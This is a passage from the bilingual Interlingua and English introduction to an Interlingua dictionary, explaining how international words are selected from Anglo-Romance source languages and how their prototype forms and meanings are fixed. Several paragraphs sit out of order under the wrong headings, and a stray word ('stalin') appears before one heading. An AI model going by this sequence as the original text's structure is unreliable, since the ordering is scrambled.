forma international. In le vocabulario international le parola debe representar se per un forma de que Statistik e statisties tanto ben como statistique san variantes determinate per peculiaritates idiosyncratic que es characteristic in respectivemente germano, anglese e francese.\nLe processo de reguardar insimul le variante formas de parolas international a fifi de arrivar a prototypos normalisate o standardisate, non pote satisfacer a un verificabile methodologia que es applicabile a omne nove casos, si non le variantes ipse, e inde le linguas al quales illos appertine, ha un base commun in que le principios de normalisation o standardisation pote haber lor radices.\nLe linguas romance ha certo un tal base commun in latino. Illos representa in ultra le plus potente centro de radiation de parolas international e assi illos es in duo respectos importante un sphera de recerca in que le accumulation de parolas international appare esser le plus promittente.\nLinguas de fonte o de controlo. - Le anglese responde le plus al requirimento de potentia receptive con respecto a parolas international de origine foranee. Le linguas romance optimo satisface al requirimento de radiation productive de parolas international. Le melior sphera restricte de linguas in que on debe exercer un collection systematic de parolas international es per consequente un combination de anglese e le linguas romance. Nos refere a iste linguas variemente como linguas fontal o linguas de controlo.\nLe inclusion del anglese non conflige con le desiratum que le linguas que sia scrutinate pro le compilation del vocabulario international debe posseder un base commun. In effecto le base que tene conjuncte le linguas romance es etiam le base del anglese, del qual le vocabulario es tanto fortemente romance que in iste respecto - qualcunque sia le situation in altere respectos - illo vermente es un lingua romance.Le gruppo anglo-romance de linguas pote vangloriar se de un total de quasi un medie milliardo de parlatores. Iste quarto del humanitate include nulle considerabile gruppo ethnic que non es involvite e interessate in cosas international. Ni, in veritate, illo include omne populationes del terra que es involvite e interessate in cosas international sed certo le major parte de illos.\nAlicun exemplos sia utile pro monstrar que le gruppo anglo-romance de linguas certo constitue un sphera de linguas fonte in le qual parolas international del plus variate origines pote colliger se. Le parola hebree pro 'inferno', Ge Hinnom, es largemente international, sed pro mitter lo in le vocabulario international, il non es necessari investigar le lingua hebree, proque le parola appare in anglese como Gehenna, in francese como géhenne, in espaniol como gehena, in italiano como geenna. Le parola arabic que appare in anglese como alcove pote equalmente esser retrovate in le sphera restricte, nam illo appare in italiano e portugese como alcova, in espaniol como alcoba, e in francese como alcove. Un exemplo de un parola international de origine russe es illo que appare in anglese como mammoth, in francese como mammouth, in espaniol como mamut, e in italiano como mammut. Un exemplo german es anglese feldspar, francese feldspath, italian feldispato, espaniol feldespato.\nLe rationamento in favor de un sphera restricte de assemblage de parolas international non preclude le possibilitate de transferer su frontieras in le interesse de un prisa plus ric. In loco de un o duo linguas del gruppo anglo-romance un o duo altere linguas de significantia al minus equal in le campo international pote esser incluse, proviste, naturalmente, que le cosas examinate son ancora tente insimul per un base commun, le qual vole dicer que lor centro de gravitate remane in le sphere anglo-romance. In le compilation de iste Dictionario le sphere de recerca ha essite permisse a transferer solmente a includer germano o russo o ambes. Le decision de non usar le mesme procedura a altere linguas era attincte post que tests ample habeva demonstrate que le complication consequente de nostre methodologia non ha affecte a resultatos in ulle modo appreciabile.\nSummario. - De omne linguas que unquam obteneva plus que utilitate national on pote dicer que illos era portate trans lor confinios original per un expansive dynamismo cultural e utilitari. Illos fungeva como indispensabile utensiles cultural e utilitari. Le moderne internationalitate es largemente conditionate per le scientia e le technologia in le senso le plus comprehensive. Le lingua del scientia e del technologia es le moderne lingua international o interlingua. Illo non es, in senso stricte, un lingua complete sed es plus tosto un corpore multo comprehensive de terminos international que constitue le nucleo de un interlingua. Le lingua international ha absorbite material del plus variate origines sed su centro de gravitate es in le sphera del tradition grecolatin. Illo pote esser collecte intra le confinios de un gruppo homogenee de linguas fonte o linguas de controlo que representa non solmente le grecolatin tradition in nostre tempore sed que equalmente absorbeva omne significante parolas international radiate de altere centros. Iste gruppo es le gruppo anglo-romance de linguas con le germano e le russo como contribuentes potential.\nMETHOD AND TECHNIQUES\nEligibility of International Words. - Words are eligible in the international vocabulary if they have currency throughout the Anglo-Romance sphere of languages. The language units to be examined individually are Italian, French, English, and Spanish and Portuguese combined. The combination of the two Iberian languages is indicated not because their separate importance could be doubted but because their significance in the pattern of the Romance languages is similar. The absence of a word from the vocabulary of one of the units listed is often a coincidence which cannot suffice to bar it from the international vocabulary. German or Russian may take the place of any of the Anglo-Romance source units. In sum, a preliminary formulation of the criterion of internationality runs as follows: A word is to be accepted as international when its presence is attested - in corresponding forms and with corresponding meanings - in at least three of the language units, Italian, Spanish and\/or Portuguese, French and English, with German and Russian as possible substitutes.\nThe practical application of this rule encounters a number of specific problems.\n1. - The decision as to whether a word exists in a given language is not always a clear and simple matter. It is neither possible to limit oneself to the listings found in a set of chosen dictionaries nor to consider every obscure entry in the most exhaustive compilations. Technical terms should be looked for in technical dictionaries while everyday expressions should be traced in average dictionaries of the everyday language. Furthermore, the investigation cannot in all instances be limited to the current modern vocabulary. For instance, while the modern French word tuer 'to kill' shows no relationship to the Italian word uccidere of the same meaning, there are traces in French of the older occire, and even in Spanish, whose normal word for 'to kill' is matar, an old verb corresponding with Italian uccidere and French occire has survived at least in the participial form occiso. In this case - and similarly in similar ones - one may reason that hidden behind, and represented by, tuer and matar there are older forms corresponding with Italian uccidere, so that the requirements of internationality are fulfilled in regard to a word for 'to kill' which corresponds directly to Latin occidere.\nCarried to its extreme conclusions this procedure justifies the inclusion in the international vocabulary of words corresponding with all Latin terms provided their concepts appear in one form or another in the modern languages. At first glance so broad an interpretation of the rule of modern internationality of words might seem arbitrary. Upon closer examination, however, one is struck by the fact that the languages of the Western World are all in the habit of having recourse to classical and predominantly Latin word material whenever new expressions are to be coined, as well in cases where new ideas, facts, and things are to be named as also when a synonym for a traditionally available term is needed.\n2. - The principle of correspondence of word forms in the various contributing languages needs to be allowed a certain latitude. The English words automobile and fidelity correspond completely with French automobile and fidélité or Spanish automóvil and fidelidad. The second iseverywhere a direct descendent from Latin fidelitas, fidelitat- and consists everywhere of an adjective made into a noun by the addition of one and the same suffix in various etymologically identical forms. The first is everywhere a modern compound consisting again in all instances of etymologically identical elements. However, in an example like Italian amaritudine, it will be found that neither its Spanish nor its French equivalents are in full etymological correspondence. French amertume and Spanish amargor as also the Italian synonyms amarore and amarezza have substituted deviating suffixes for the original Latin one. Such suffix substitutions, which are not occasioned by expressive needs, must not be allowed to deny a particular word its full international standing, for with them the deviation in form does not imply a deviation in meaning.Numerous examples of this point are supplied by English adjectives which often differ from the corresponding words in other languages by an excrescent meaningless suffix. The suffix -al in fanatical is meaningless; it does not cause the word to differ in any sense from its synonym fanatic and justifies no discrimination between it and French fanatique, Italian fanatico, etc. The same holds true for the English type voracious which has a \"superfluous,\" that is, a distinctively English and meaningless suffix -ious. The corresponding French word is vorace, Spanish voraz, etc.\n3. - There are numerous words which, paradoxically, do not occur in a particular language but are potentially present in it. In English, for instance, the derivational types of versatile-versatility, visible-visibility, etc. are so normal that the exceptional occurrence of an isolated proximity without a corresponding adjective strikes the student as a peculiarly English \"accident.\" There ought to be an adjective *proxim or possibly *proximous. The frequency and clear-cut character of the English affix -ity permits the assertion that behind the noun proximity there exists - potentially if not in fact - an adjective which can join the actually existing Italian prossimo and thus contribute to the international standing of the simple adjective behind its derived noun. This same reasoning could not apply if the adjective in back of proximity did not exist anywhere. On the other hand it does apply in cases where the situation is reversed, that is, where the simple word is fully international while it is the derivative which is merely \"potentially\" available.\nThe affixes which, when occurring in formations of limited range, carry them nevertheless into the international vocabulary, must be both frequent and clear. All those found to qualify under this head are represented by special entries in the body of the Dictionary. A complete list appears below on pp. xlvif.\nWhat has been said about affix formations of limited range applies likewise to compounds. The Italian word for 'match, lucifer' is fiammifero. It is a compound of elements which are completely international and quite unambiguous. The word as such occurs in but one language, but the representation of its elements in all the contributing languages justifies the claim that the word is potentially international. In a considerable number of cases where ideas of full international range happen to be represented by numerous and etymologically quite unrelated terms, adequate renderings in the international vocabulary can be found by examining all the monolingual renderings in regard to their potential representation in the source languages as a whole.\nForm of International Words. - The forms under which the international words are listed must be neither Italian nor French, Spanish, Portuguese, English, German, or Russian; they must be international. This implies that everything is to be eliminated from them that is a characteristic feature of but one particular language. If the Spanish word for 'earth' is tierra, the international form of it must not contain the diphthong -ie- which is a typically Spanish development. The international form corresponding to French aimer must not end in -er which is a typically French development. Or again, if the word voracious is qualified to enter the international vocabulary, it cannot appear there with the final syllable -ious because that is a peculiarly English excrescence.\nOn the other hand, the international form of a word must be such that every idiosyncratic feature of its representationin one particular language must be explicable as a monolingual transformation of it. It must be the prototype of which all contributing forms are specialized variations. For example, the prototype of French terre, Spanish tierra, Portuguese and Italian terra is terra. The French final -e and the Spanish diphthong are specifically French and Spanish developments from the original neutral final -a and the original neutral monophthong -e- respectively. The resulting international form terra may look like the Italian, Portuguese, and Latin forms, but it is \"international\" and not Italian, not Portuguese, and not Latin. In a great many instances the prototype and hence the international form of a word does coincide with its etymological origin, that is, in the case of words derived from Latin, the Latin ancestor form. But this is not necessarily so. If the diphthong of tierra were not a Spanish peculiarity but occurred in Italian and French as well, the prototype and hence the international form would not be terra but *tierra.\nA more typical (and more complex) instance is that of Latin causa which appears in the modern languages as two distinct words, one represented by Italian, Spanish, Portuguese causa and French, English cause; the other by Italian, Spanish cosa, Portuguese cousa, and French chose. The prototype of the former is causa, that of the latter cosa, from which the French initial ch- and final -e as well as the Portuguese diphthong -ou are peculiarly French and Portuguese deviations, explicable in terms of specifically French and Portuguese sound laws. The transformation of Latin -au into -o- is a development characteristically international.\nIn keeping with the general goal of evolving non-specialized international forms, the prototypes must not be determined by a trait occurring in but one language. A monolingual trait is to be disregarded provided such a procedure does not reduce the international range of the result below the stipulated minimum. To refer again to the example of Latin causa, in the branch yielding the prototype cosa, all contributing forms with the exception of Portuguese show the vowel -o-. If the Portuguese -ou- were not a specifically Portuguese diphthongization of an earlier -o- but rather a survival of the Latin diphthong -au- the resulting form should still show no diphthong since three languages - Spanish, French, Italian - exhibit a simple -o-.\nstalin Terminations. - Like all other formative elements, suffixes too appear in fixed prototype forms which do not vary erratically from one case to another. If it is an historical fact that the suffix in English agile and that in fossil are the same, and if furthermore the other contributing languages show them to be alike (as they actually do), then the English difference between this particular -ile and this particular -il must leave no trace in the international forms.\nThe common form from which the suffix representedby English -al has evolved in the various languages is a form technically known as the crude form of the Latin oblique cases of -alis, that is to say -ale. This -ale is the ancestor of all the contributing variants but its full spelling is maintained only by Italian. All the other control languages omit the final -e. Therefore the prototype serving as the international form of the suffix omits it likewise and appears as -al.\nSomewhat more complex is the case of the parallel suffix evolved from Latin -ilis. It, too, appears in Italian with a final -e in all cases, but the alignment of a pair of illustrations like English civil, agile, Spanish civil, agil, Italian civile, agile, and French civil, agile leads to the introduction of two prototype forms, the one, -il, bearing the stress and omitting the final -e; the other, -ile, equipped with a final -e and occurring after a stressed syllable.\nThese data can be looked at inversely so that - as a general rule applying to the forms entered in this dictionary - a final -e after -l (and likewise after -n- and -r-) turns out to be an indication that the stress must fall on the third last syllable, as in agile (as against civil), in automobile (as against infantil), as in ordine (as against asinin), as in arbore (as against professor), etc. - See also under \"Pronunciation,\" p. liii below.\nTermination of Infinitives. - The prototype procedure outlined above would yield infinitives in -are, -ere, and -ire. As in the case of -al and -il, it is again only Italian that retains he final -e systematically. Since, however, English absorbs Romance verbs as a rule without the Romance infinitive termination, it cannot assist French and the Iberian languages to overrule the conservation of the final -e. If this English \"abstention\" is not to allow Italian to settle the question in favor of its own unique usage, there remains only the possibility to let the prototype forms of the infinitive follow the model of comparable cases, as for instance that of the suffixes -al and -il. Thus the prototype forms of the infinitive terminations appear as -ar, -er, and -ir.Since the subdivision of Latin -ere verbs in two groups with the stress on the penult and antepenult respectively is clearly traceable within the sphere of the modern Romance languages, the prototype of the infinitive termination might be determined for each of the two cases separately. The resulting distinction of verbs in -er with the stress on the last syllable and a smaller group of verbs in -ere with the stress on the antepenult would largely correspond to two types of derivation. The verbs in -er would show \"weak\" derivatives in -it- plus -ion, -ive, -ura, etc., while the verbs in -ere would build such derivatives by adding -ion, -ive, -ura, etc. to a \"strong\" or modified stem. In this Dictionary no such distinction has been made.\nTermination of Adjectives. - A special problem is posed by the class of adjectives which maintain in all Romance languages a difference between masculine and feminine forms. Here the prototype procedure collides with a point of grammar which must be discussed at this time although grammatical questions in general have no place in a purely lexical discussion.\nThe prototype of English, French grand, Italian, Spanish, Portuguese grande emerges smoothly as grande. However, in cases like that of the international word corresponding to English saint, the outcome is undecided because here the original inflectional system of Latin survives in all the Romance languages not only with a distinct form for the plural but also with distinct masculine and feminine forms. The adjectival prototype of English, French saint, Spanish, Portuguese, Italian santo would be *sancto, but that of English saint, French sainte, Spanish, Portuguese, Italian santa would be *sancta. When used as nouns to represent a male or female saint, the forms sancto and sancta are satisfactory. But with adjectival functions they would be usable only if the grammar of the international language were to keep up a corresponding gender distinction.\nIt is possible to envisage the international vocabulary in operation with a grammatical system which does maintain a gender distinction. Attempts in this direction are on record, but they form a decided minority. The procedure adopted in this Dictionary is the one favored by most users of the international vocabulary. All adjectives are treated as though Latin and the Romance languages knew only the one type of adjective in which there is no distinction between masculine and feminine. The resulting dictionary entries exhibit no difference in termination between the types grande and\nsancte.\nForms of International Words in Derivational Series. - The prototype, as discussed so far, may be defined as the nearest common documented or hypothetical ancestor from which all contributing variants can be developed in accordance with the individual laws and motives operating in the various languages considered. This implies that in the case of Latin-derived nouns and adjectives the prototype is normally neither coincident with nor based upon the original nominative (i.e., the form conventionally entered in dictionaries) but rather that it will have the appearance of the crude (i.e., truncated) form of the Latin oblique cases. This is so because the Romance languages, when - in the course of their development from Latin - they abolished the declensional system of nouns and adjectives, did not normally preserve one case at the expense of all the others; they normally preserved a composite of the various oblique cases. French pied, Spanish pie, etc. did not develop from Latin pes but from Latin pede which may be called a combination of pedem, pedis, etc.\nNow it happens to be the stems of the Latin oblique cases (i.e., the stem at the base of the international prototype) which appears again in the derivatives from nouns and adjectives. A word like temporal (whether it is considered in its English or any other variant) does not come from the stem of Latin tempus but from that of temporis, tempore, etc. A word like pontifical is not based on the stem of Latin pontifex but on that of pontificem, etc.\nThe prototype of English pontiff and the corresponding Romance variants which establish the internationality of the word, is pontifice. That of pontifical and its Romance equivalents is pontifical. The continuity of form in the prototype pair pontifice-pontifical (in contrast to English pontiff-pontifical or German Pontifex-pontifikal) is an important feature of the international vocabulary. It permits the interpretation of pontifical, as it were, as a special form for special uses of pontifice just as, let us say, brotherly in English might be called a special, that is, the adjectival form of brother. If this feature is to be generally characteristic of the international language, derivatives must always be made to have a bearing on the prototype forms that constitute its vocabulary. For instance, the prototype of Italian tempo, Spanish tiempo, Portuguese tempo, French temps, must, in view of the derivatives, become tempore, despite the fact that the nearest common ancestor form of those variants is tempus - or at least, if French is disregarded, tempo. Italian cuore, Spanish corazón, Portuguese coraçao, cor, French coeur do not appear as core, which would reflect the Vulgar Latin declension cor, coris (instead of classical cor, cordis) but are standardized as corde, in view of the derivative cordial, a Medieval Latin formation with the suffix -ial on the stem corde.\nWord Families. - The bearing which, in the prototype procedure, derivatives have on their base, establishes in the standardized international vocabulary clear continuities in derivational series. Such series, often clustered in more or less extensive word families, exist in all the control languages. In many cases, however, they have become blurred by peculiar trends or historical \"accidents,\" and it becomes one of the most important functions of the prototype technique to give back to them their due scope. Blurred series like English letter-literal or publish-publication emerge in the international vocabulary in clear continuities as littera-litteral, publicar-publication. This is of the utmost importance for the free formation of autonomous derivatives in an auxiliary language.\nThe principle which governs the limitation of derivational series or word families in the international vocabulary is that of a parallel between formal and semantic continuities. Since the idea of causal is a derivative from that of cause, the corresponding standardized words appear in a formally continuous series as causa-causal. Since, on the other hand, the idea of causal is in no way a derivative from thing (although French chose, Spanish cosa, etc. are historical developments from Latin causa), the standardized international word corresponding to thing does not appear in the same series but emerges as cosa. The prototypes cosa and causa belong, in terms of the standardized international vocabulary, to two different families, although the corresponding words in the Romance control languages are all members of the one etymological family of Latin causa.\nThese and related aspects of the prototype technique and its results are particularly significant in the case of certain verbs and their derivatives. A more detailed analysis of some verb families may prove useful at this point.Non-Latin Examples. -The illustrations of the prototype technique presented so far are all concerned with words either derived from Latin or built of Latin material. Additional illustrations are required for the following groups: 1) Words of Greek origin, including classical formations - borrowed directly or transmitted by Latin - as well as neologisms built of Greek word-material. 2) Words of Germanic origin which penetrated into the Romance languages in post-classical times and have become fully assimilated. 3) Foreign words which were taken over at various times from various sources outside the Romance-English language group and which have become assimilated to a higher or lesser degree.\nTener is the prototype of Italian tenere, Spanish tener, Portuguese ter, French tenir. The Latin ancestor word is tenere, which is the head of a large family of derivatives and compounds. Among the derivatives that are international and appear also in English, are tenace, tenacitate, tenor, 'tenacious, tenacity, tenor,' etc. In Latin the compounds of tenere appear with a characteristic vowel shift as abstinere, continere, obtinere, etc. (with derivatives of both the types abstinentia and retentio). The modern languages did not maintain this and similar vowel shifts in the compound infinitives but adapted them to the form of the simple verb, e.g., Spanish tener-abstener, French tenir-contenir, etc. However, the international derivatives from some of these compounds (abstinente, continente, etc.) force them back into the Latin pattern and the infinitives appear in the international vocabulary as abstiner, continer, pertiner, but detener, intertener, mantener, obtener, retener, sustener.\nIn the case of this verb family, the different branches are interlinked by a comparatively clear continuity in meaning. The idea of 'to hold' is everywhere preserved: continer is \"to hold as contents\" or \"to hold back\"; mantener is \"to uphold\"; detener \"to hold in custody\"; etc. A case where one branch of an etymological verb family has become completely detached, both in form and meaning, both in the control languages and hence in the international vocabulary, is that of Latin pendere 'to suspend' and 'to weigh' with the derivative pensum 'something weighted, a weight.' Its frequentative pensare 'to weigh' and figuratively 'to ponder, consider' gave rise in the Romance languages to two distinct derivational series. The words for 'to weigh' are Italian pesare, Spanish and Portuguese pesar, French peser (cf. also English to poise). They are completely detached, in form as well as in meaning, from the Romance words for 'to think': Italian pensare, Spanish and Portuguese pensar, French penser, whose standardized form is pensar and whose derivatives appear as pensative 'pensive' and pensator 'thinker,' etc. In the modern languages none of these words reveals itself either formally or semantically as a derivative from 'to weigh.' Hence the international word for 'to weigh' is not influenced by them and appears as pesar, which may be taken as a derivative from peso 'weight' (the prototype of Italian, Spanish, Portuguese peso, French poids, also English poise, from the above-mentioned Latin pensum); and peso-pesar constitute a new family independent from pensar.\nA slightly different case occurs in the family of Latin prehendere, prendere 'to seize.' The derivative prehensio, prensio 'act of seizing' is represented in the control languages by Italian prensione, Spanish prensión, Portuguese preensão, French préhension, English prehension, which yield the prototypes prehension and prension. The Latin contracted form prensio has produced another series entirely detached from the first. This series is represented by Italian prigione, Spanish prisión, Portuguese prisão, French, English prison. Phonetically all these national variants have in common the loss of the Latin n before s and the change of the e in the stem into i. Semantically, too, no connection is felt between 'prison' and 'act of seizing.' Furthermore, the derivatives built on prison - e.g., prisoner, to imprison, and their Romance equivalents - stand in close relation only to their immediate base and not at all to the original Latin family of prehendere. Thus there results a detached family prision, prisionero, imprisionar, etc.1. - In the case of words of Greek origin it happens quite often that formations which have the semantic value of derivatives are formally detached from what might be taken as their base. In the standardized vocabulary they exert consequently no influence on the latter's form. Thus the international form of therapeutic has no bearing on that of therapy, for although one is clearly the adjective pertaining to the other, there is no direct derivational relationship between them. Both are ultimately derived from an identical third, the Greek verb therapeuein. 'Therapy' appears in the international vocabulary as therapia and 'therapeutic' as therapeutic. The semantic interdependence of the two is formally as little accounted for in the international vocabulary as in the vocabularies of all the control languages. They appear in the Dictionary as two unrelated entries.Summary of Definitions. - The following formulations are not intended to be self-explanatory. They are summaries of the foregoing analyses which serve to elucidate them and provide pertinent illustrations for them.\nIn other instances the formal relationship by derivation which did exist in Greek has been totally severed in the modern languages which treat these words exactly like those of the type therapia-therapeutic. This severance is often due to the fact that members of a given derivational series in Greek were taken over by Latin or the modern languages as individual words whose connection with other Greek words of the same family (separately taken over by the same languages) was not made apparent in their forms. Greek phlegmatikos was actually a derivative from phlegma on the inflectional stem phlegmat-, yet this latter word appears in no modern language and certainly in none of the members of the Anglo-Romance control group in a form corresponding to the old inflectional or deriving stem. It is represented everywhere by the Greco-Latin nominative and appears correspondingly in the international vocabulary as phlegma, uninfluenced by its companion adjective phlegmatic.\nIn most words of Greek origin, however, the formal continuity of derivational series emerges in the international vocabulary as clearly as it does in the case of words of Latin origin.\n2. - Next to Greek, the most important non-Romance contributors to the international vocabulary are doubtless the Germanic languages and dialects. Their role in the international vocabulary gives rise to two special observations.\nThere are a good many instances of English words of Germanic origin which are related to words in the other control languages by Indo-European cognateship. Examples are beech and Spanish haya; father and Italian padre; brother and French frère; etc. In all such instances the Germanic form (provided of course there is perfect formal and semantic correspondence) can be considered a contributing variant that adds to the international range of the word in question. As for the prototype technique, words of this category must be standardized exclusively on the basis of their Romance variants. Here the inclusion of Germanic cognate forms would produce prototypes on an Indo-European basis which is much too narrow to support an international vocabulary. Thus French frère, Italian fratello (with a suffix that may be disregarded), and English brother establish the internationality of a word which is represented by the standardized form fratre, determined without reference to the Germanic variant.\nA related and considerably more important problem is that of words of Germanic origin represented by borrowed variants in the Romance control languages, whether or not they are supported by an inherited form in English. Most words of this category were taken over by the Romance languages during the early Middle Ages when Germanic supremacy, especially in the fields of law and warfare, made itself felt in all parts of western Europe. If the English form of such words is available (and generally it is), it can again be considered a variant of the Romance forms, fit to add to the international range of the word in question but not suitable to enter into the determination of its prototype. French hareng, Italian aringa, Spanish, Portuguese arenque are all Romance variants of West Germanic haring and thus identical by Germanic cognateship with English herring and German Hering. The meaning of the word raises no new problems. It has full international range throughout the control languages. For the determination of its prototype the inclusion of the English and German variants would produce a result on a Germanic basis. The exclusion of English and German produces the prototype haringo which is the form by which this word is represented in the standardized international vocabulary.\n3. - As for the standardization of foreign words that were borrowed at a more recent date from different sources outside the Romance-English group, a distinction must be made between those which have become fully assimilated in all the languages of adoption and those which, having retained their original form, are always felt to be \"foreign.\" In the first category there are a great many words of extra-European origin which were introduced into the European tongues by way of Spanish or Portuguese. In many instances the Iberian languages show a closer similarity to the phonetic structure of the original than the second-hand borrowers. For instance, the equivalents of English carafe in the other control languages are Italian caraffa, French carafe, and Spanish\/Portuguese garrafa. The last named, which comes closest to the original Arabic gharrâf, would determine the prototype of all the modern variants as *garrafa if the initial g- as a trait limited to one control or source unit could not be overruled by the initial c- found everywhere else. The resulting international form is carrafa.\nDerivatives from these relatively recent loan words are not very frequent. Where they do occur, they influence the prototype in exactly the same way as in all other cases. An example is the international word for 'tea'. Italian tè, Spanish te, French thé, English tea correspond to the name of this plant and beverage in the Amoy dialect of China; Portuguese cha and Italian cia (a special word for 'teaplant') reflect the Mandarin variant. The combination of these two branches might prove quite problematic if it were not for the existence of the international derivative theina which serves to determine the prototype of the base word as the.\nFinally, foreign words which have been introduced into the control languages in comparatively recent times and have retained their foreign character, do so also in the standardized international vocabulary. Examples are: allegro, aria, imbroglio from Italian; cargo, matador, rancho from Spanish; bouquet, bureau, chassis from French; budget, interview, reporter, standard from English; hinterland, kirschwasser, landwehr from German. In some cases the modern languages have built on these foreign loans independent derivatives of which only the endings have to be standardized. Thus we have interviewar on interview, standardisar on standard, etc. In the Dictionary such \"foreign\" words are entered without accent marks and diacritical signs except when such a procedure would suggest an absurd pronunciation. Thus we have French defaite instead of défaite but German kümmel. English words reveal at times by their spelling whether they were internationalized on a British or American basis.\n1. Eligibility. - A word is eligible in the international vocabulary if it occurs - with corresponding meanings and in forms deviating from etymological identity by nothing more than a meaningless affix - in the current or historical vocabulary of at least three of the source units, Italian, Spanish\/Portuguese, French and English and also German and Russian; it carries with it all formations differing from it in both form and meaning by the addition or omission of a \"normal\" affix, provided such formations occur in at least one of the units listed.\n2. Form. - The form under which a duly admitted word enters the international vocabulary is the prototype or nearest documented or theoretical ancestor form common to all its variants as well as to the stems of their derivatives in the contributing languages; it is determined in such a way that its variants in the source languages and the stems of their derivatives deviate from it only in accordance with the characteristic behavior of the languages they represent - with the proviso that the resultant form must never be conditioned by a trait restricted to one single contributing variant.\nMeaning of International Words. - The criteria which determine what shall or shall not appear in the standardized international vocabulary are all concerned with words considered simultaneously as forms and expressions of meanings. Both the form and the meaning of a given word must have the required international range to assure the word of representation in the standardized vocabulary. Yet, while the problems arising in this connection are smoothly covered by a set of rules in so far as they are concerned with matters of form, the implications of the internationality of meaning are often delicate.\nNegatively speaking, a word which is represented in the required number of control languages by \"identical forms\" with different meanings, must be excluded from the standardized vocabulary. The point may be illustrated by reference to the standardized form planger which corresponds to Italian piangere, Spanish plañir, French plaindre, and (archaic and dialectal) English to plain. The Latin ancestor form plangere signified 'to beat (with a noise); to beat one's breast (in grief); to lament aloud.' The Italian variant means 'to weep, sob, or wail'; the Spanish form signifies 'to groan, lament'; the French one, 'to pity'; in English the word formerly had the meaning of 'to complain.' The different languages went different ways in developing the meaning of their variants, and the word would not be represented at all in the international vocabulary if it were not for the phrase planger se de 'to complain of or about,' for which the Romance variants supply the required three-language agreement.\nNow, the various meanings of the simple verb planger in the ethnic languages might still be recognized as vaguely related, and it might be argued that the discrepancy in the meanings of Italian piangere and French plaindre differs only in degree from the discrepancy in the meanings of for instance French liberté and English liberty which are not quite alike either.\nHowever, in the case of liberté-liberty the divergencies are concerned with overtones and connotations due to specific associations and traditional usage. On the other hand, it is the very concept of French plaindre, not a peculiar set of connotations, that differs from that of Italian piangere, and if for the two a common conceptual basis were to be found, it would have to be traced back to Latin and could not be said to be available in either one of the modern variants.\nIf a concept in this sense is defined as a nucleus of thought crystallized in a word form as its adequate expression, it follows that liberté and liberty represent the same concept; plaindre and piangere represent different concepts. The connotational divergencies in the first example do not affect its representation in the international vocabulary; the conceptual differences of the second exclude it as such from the international vocabulary. That it does occur in it as part of the reflexive planger se is a different matter.\nThe meaning to be established for a given international word is the nuclear concept which its ethnic-language variants have in common. This does not signify that an international word cannot be modulated by connotations, emotional overtones, and the like. All these things, precisely as in each one of the ethnic languages, are matters of style. If, let us say, the international word perla has been established as the form representing the concept 'the shelly concretion of nacre found in the pearl oyster and used as a gem,' there is obviously no reason why it should not be used with reference to an efficient houseworker. In doing so the basic definition is not abandoned, just as the use of the English word pearl in such a context does not imply that the word stands for the concept 'efficient houseworker' but merely that it is to be suggested that the efficient houseworker is as valuable as the shelly concretion in the pearl oyster. Here the semantic continuity between the conceptual core and the metaphor is not broken. If it were broken, the meaning \"efficient worker\" would be a second concept represented by the same word form. An illustration of this latter type is the English word star which can be used for a luminary of the stage or screen without the implication that he or she may be compared to a celestial body. This particular development by the way is not international. The German or French words for 'a celestial body' can of course also be used with reference to a superior actor or actress but not without the clearly metaphorical implication that the person in question is to be called a celestial body in the firmament of the Thespian art. In both the languages mentioned the detached meaning of English star (the concept 'a superior actor or actress') is often represented by just that word borrowed in its English form.\nIn cases where the semantic break\nbetween a conceptual core and a mere metaphoricextension is sufficiently international or occurred at an early\ntime in the language of origin of a given word, the result is that the international form stands for two or more conceptual cores. Thus, from the Latin point of view there was a perfect continuity in the semantic development of the verb intendere: from 'to stretch out or towards something' by way of 'to attend, direct one's attention to' to 'to intend, purpose.' From the extension 'to direct one's attention to,' Medieval Latin developed the new core meaning or concept 'to understand' which survives in the Romance languages. The current meaning of French entendre 'to hear,' is a further development of 'to understand' and remains monolingual. Internationally, 'to intend, purpose' and 'to understand,' although they both are offsprings of the same semantic ancestor ('to direct one's attention to'), appear as two distinct concepts. They constitute the two basic meanings of the international word intender.\nConcepts in the sense here envisaged are naturally not always international. The nucleus of thought, 'with one's hands on one's hips,' expressed by the word 'akimbo,' is clearly monolingual. Other languages can circumscribe it with the help of a phrase, e.g., French les mains sur les hanches,\nbut from the French point of view this is\nas little a concept as les mains sur les épaules 'with one's hands on one's shoulders.'\nEnglish is particularly rich in terms of this sort. Most of them are represented by words belonging to the Germanic stock of the vocabulary, as bleak, to befriend, brittle, etc.; but there are also a good many English words of Romance origin which the language uses to express peculiarly English concepts, as casual, eventual, domineer, etc.\nThese and similar monolingual concepts are not represented as such in the international vocabulary. They are units of thought or ideas which have crystallized as clear nuclei in definite word forms only in one language. The other languages express them by various noncrystallized phrases, and so does the international vocabulary which must follow international usage.\nMETHODO E TECHNICAS\nEligibilitate de parolas international. - Parolas son eligibile in le vocabulario international si illos es currente in tote le sphera anglo-romance de linguas. Le linguas que sia individualmente scrutinate es italiano, francese, anglese e, espaniol e portugese combinate. Le combination del duo linguas iberic es indicate non proque lor importantia separate esserea dubitabile sed proque lor significantia in le assemblea del linguas romance es similar. Le absentia de un parola in le vocabulario de un del unitates listate es multe vices un coincidentia que non pote justificar le retention de illo del vocabulario international. Germano e russo pote esser reimplaciantes de alicun del fontes anglo-romance. In summa, un formulation preliminar del criterio de internationalitate se dice: Un parola debe esser acceptate como international quando su presentia es certificate - in formas e significationes correspondente - in al minus tres del sequente unitates lingual: italian, espaniol e\/o portugese, francese e anglese con germano e russo como substitutos possibile.\nLe application practic se confronta con alicun problemas specific.\n1. - Le determination si o non un parola existe in un del linguas non es semper clar e facile. II non es ni possibile restringer se al mentiones in alicun seligite dictionarios ni a considerar omne obscur entrata in fontes le plus comprehensive. Terminos technic sia cercate in dictionarios technic, durante que expressiones quotidian sia traciate in dictionarios commun que representa le lingua de omne jornos. Al plus, le investigationes non pote limitar se in omne casos al moderne vocabulario currente. Per exemplo, dum le actual parola francese tuer (occider) non es parentate al parola italian uccidere con le mesme signification, il ha vestigios in francese del ancian occire, e mesmo in espaniol, cuje parola normal pro 'occider' es matar, un ancian verbo correspondente con italian uccidere e francese occire ha supervivite al minus in le forma participial occiso. In iste caso como etiam in casos similar on pote argumentar que celate detra, e representate per tuer e matar, il ha formas plus vetule que corresponde con italian uccidere, de maniera que le requirimentos de internationalitate es plenmente complite con respecto a un parola pro anglese \"to kill\" que directemente corresponde al latin occidere.\nApplicate a su conclusiones extreme iste procedura justifica le adoption in le vocabulario international de parolas que corresponde con omne terminos latin sub le condition que lor conceptos existe in un o altere forma in le linguas moderne. A prime vista un interpretation tanto large del regula de internationalitate moderne de parolas pote parer arbitrari. Tamen, post un examination plus stricte, le facto se intrude que tote le linguas del mundo occidental ha le habitude de recurrer al materia lexical 